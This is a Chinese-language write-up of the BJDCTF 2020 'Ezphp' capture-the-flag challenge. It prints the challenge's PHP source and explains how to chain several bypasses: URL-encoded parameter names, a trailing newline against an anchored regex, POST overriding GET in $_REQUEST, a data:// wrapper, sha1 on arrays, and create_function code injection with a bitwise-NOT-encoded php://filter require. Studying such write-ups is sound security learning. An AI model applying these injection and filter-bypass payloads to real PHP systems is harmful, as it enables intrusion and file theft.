[BJDCTF 2020]Ezphp
发现神秘base32字符,拉到cyberchef解一下
访问对应路径拿到源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!
哇,这么多正则匹配看的好难受。这哪是ezphp,又骗我
这道题非常复杂,先来说下考点
考点
总共有四个变量(PHP超全局变量)
| 变量 | 说明 |
|---|---|
$_GET |
URL查询字符串中的参数(?a=1) |
$_POST |
POST请求体中的参数 |
$_REQUEST |
默认包含$_GET、$_POST、$_COOKIE,POST覆盖GET |
$_SERVER['QUERY_STRING'] |
URL解码前的原始查询字符串 |
$_SERVER['QUERY_STRING'] 拿到的是未经URL解码的原始字符串,为了绕过$_SERVER['QUERY_STRING'] ,可以对参数名做URL编码,就可以绕过shana、debu等关键词。
PHP正则匹配陷阱:
preg_match('/^xxx$/', $str) 在非多行模式下:
^匹配字符串开头$匹配字符串末尾(不包括末尾的换行符)- 如果字符串是
"xxx\n",$仍然能匹配到xxx后面的位置,所以正则通过
SHA1数组绕过:
sha1([]) // 返回 NULL
sha1([1]) // 返回 NULL
sha1([2]) // 返回 NULL
NULL === NULL // true
传入数组时,sha1()返回NULL,两个NULL相等。同时两个不同的数组([1]和[2])不相等,满足$a != $b
create_
create_function('$arg', 'echo $arg;');
// 等价于创建匿名函数:
// function anonymous($arg) { echo $arg; }
如果第二个参数是;}phpinfo();//:
create_function('', ';}phpinfo();//');
// 实际生成的代码:
// function anonymous() { ;}phpinfo();// }
先闭合前面的{,然后执行phpinfo(),后面的//注释掉多余的}。
取反(~
PHP中~是按位取反运算符。对字符串取反会得到不可见字符:
echo ~"phpinfo";
// 输出不可见字符(二进制数据)
这些不可见字符不包含字母,可以绕过/[a-zA-Z]/的正则检查。直接写取反,在执行时会得到phpinfo原指令
PHP伪协议
| 协议 | 用途 |
|---|---|
data://text/plain,内容 |
直接读取文本内容 |
php://filter/convert.base64-encode/resource=文件 |
Base64编码读取文件 |
然后就是怎么来绕过我们的大WAF
绕过
第一层:$_SERVER['QUERY_STRING'] 黑名单
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|.../', $_SERVER['QUERY_STRING'])
黑名单匹配的是原始查询字符串,只要我们对字符串进行URL编码就能绕过,URL编码之后只有%和数字
第二层:debu参数正则陷阱
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')
这里就有两个要求
一是 debu必须匹配正则/^aqua_is_cute$/(这个正则匹配的意思是必须精准匹配字符串"aqua_is_cute"
二是 debu不能严格等于"aqua_is_cute"
我们可以通过在后面加一个换行符来绕过%0a(\n)
第三层:$_REQUEST无字母过滤
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die();
}
不能有任何字母说是,He hate English还要用英语说话
我们可以利用$_REQUEST的POST覆盖GET特性
| 请求方式 | 参数 | 值 |
|---|---|---|
| GET | debu | aqua_is_cute%0a(含字母) |
| POST | debu | 1(纯数字) |
$_REQUEST合并时,POST覆盖GET,最终debu的值是1,无字母。其他参数同理
第四层:file_get_contents内容校验
if (file_get_contents($file) !== 'debu_debu_aqua') die();
这里要求$file指向的内容必须是debu_debu_aqua,那么用data://伪协议直接提供内容
data://text/plain,debu_debu_aqua
这个字符串包含字母,会被第三层过滤。在GET中传data://(URL编码),POST中传file=1覆盖,但$file变量已经在第二层条件通过后被赋值为GET的值,所以最终$file的值是data://text/plain,debu_debu_aqua
第五层:SHA1弱比较
if (sha1($shana) === sha1($passwd) && $shana != $passwd)
绕过这个,我们要传入数组
shana[]=1
passwd[]=2
这样
sha1([])返回NULLNULL === NULL→ true[1] != [2]→ true
第六层:$code和$arg双重过滤
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|flag|.../', $arg)) {
die();
}
| 条件 | 正则 | 匹配条件 | 结果 |
|---|---|---|---|
| 条件1 | /^[a-z0-9]*$/isD 匹配 $code |
$code 全是小写字母或数字 |
preg_match() = 1 → 触发 die |
| 条件2 | 黑名单正则匹配 $arg |
$arg 包含黑名单中的词 |
preg_match() = 1 → 触发 die |
$code和$arg这两个变量来源于extract($_GET["flag"]);
所以$code和$arg来自GET参数flag[code]和flag[arg]
这两个参数我们传什么呢,最后一行代码是
$code('', $arg);
如果 $code = "create_function",就变成了:
create_function('', $arg);
create_function 是 PHP 内置函数,作用是动态创建匿名函数
语法:
create_function('参数列表', '函数体代码');
例如:
create_function('$a', 'return $a*2;');
// 等价于
function anonymous($a) { return $a*2; }
那么我们的create_fuction能通过吗
可以的,它包含下划线,并不是纯字母
那$arg呢?我们的目标是读取flag,黑名单里面过滤了很多函数,比如readfile('flag.php'),file_get_contents('flag.php'),include 'flag.php',require 'flag.php'等等
我们的require不在黑名单中,就用它了
Payload
取反构造读取flag的字符串
目标:读取rea1fl4g.php文件(根据题目提示,flag在这个文件中)
// 需要执行的代码
require("php://filter/convert.base64-encode/resource=rea1fl4g.php");
我们要生成取反之后字符的URL编码,大概这样
$cmd = "php://filter/convert.base64-encode/resource=rea1fl4g.php";
echo urlencode(~$cmd);
取反后的字符串包含不可见字符,在URL中必须用%编码传递。PHP接收到后,~'...'会先解URL编码,再取反,得到原始字符串。
create_function注入
create_function('', ';}require(~"...");//')
// 生成:
function anonymous() { ;}require(~"...");// }
// 先执行 require(...)
呃。我这边拿不到flag,所以只写个原理吧()
Comments